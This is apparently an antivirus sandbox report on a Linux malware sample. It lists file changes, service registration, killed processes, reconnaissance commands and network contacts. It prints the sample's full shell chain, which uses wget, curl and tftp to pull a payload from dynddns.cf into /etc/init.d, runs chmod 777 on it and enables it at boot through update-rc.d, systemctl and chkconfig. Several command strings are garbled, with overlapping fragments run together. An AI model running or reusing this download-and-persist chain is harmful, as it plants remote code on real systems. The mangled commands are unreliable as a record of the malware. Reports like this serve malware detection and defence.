Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/start
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Manages services:
- update-rc.d start defaultstc/rc.d/dynddns.cftart
- systemctl enable startysv-install enable startrt
Launches processes:
- sh -c (killall Netis >/dev/null 2>&1 & killall \" \" >/dev/null 2>&1 & killall \" \" >/dev/null 2>&1) >/dev/null 2>&1
- sh -c (cd /etc/init.d;wget http://dynddns.cf/start/help/start -O start;curl http://dynddns.cf/start/help/start -o start;tftp -g -l sshd -r starthelpstart dynddns.cftart;chmod 777 /etc/init.d/startpstart dynddns.cftart;ln -s /etc/init.d/start /etc/rc.d/dynddns.cftart;update-rc.d start defaultstc/rc.d/dynddns.cftart;/lib/systemd/systemd-sysv-install enable startrt;systemctl enable startysv-install enable startrt;chkconfig --add starttysv-install enable startrt;chkconfig start onarttysv-install enable startrt;) &> /dev/null 2>&1
- wget http://dynddns.cf/start/help/start -O start
- chmod 777 /etc/init.d/startpstart dynddns.cftart
- ln -s /etc/init.d/start /etc/rc.d/dynddns.cftart
- /lib/systemd/systemd-sysv-install enable startrt
- sh -c grep -c ^processor /proc/cpuinfo
- grep -c ^processor /proc/cpuinfo
- sh -c free|grep \"Mem:\"|awk '{print $2 \" KB\"}'||printf \"Ram Not Foun
- free
- grep Mem:
- awk {print $2 \" KB\"}
- sh -c if [ -f /usr/bin/yum ]; then cat /etc/system-release|head -n1; elif [ -f /usr/bin/apt-get ]; then lsb_release -d|awk '{$1= \"\"; print $0}'|head -n1 ; elif [ -f /usr/bin/install ]; then busybox|head -n1|awk '{print $1\" \"$2}';fi
- lsb_release -d
- awk {$1= \"\"; print $0}
- head -n1
- sh -c uname -r
- uname -r
- sh -c uname -n
- uname -n
- sh -c ps aux | wc -l
- ps aux
- wc -l
Attempts to kill the following processes:
- killall
- killall Netis
- killall
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- 19#.##7.176.20:2323
HTTP GET requests:
- http://###.###.221.118/mail/
- dy#####.cf/start/help/start
DNS ASK:
- dy##dns.cf
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
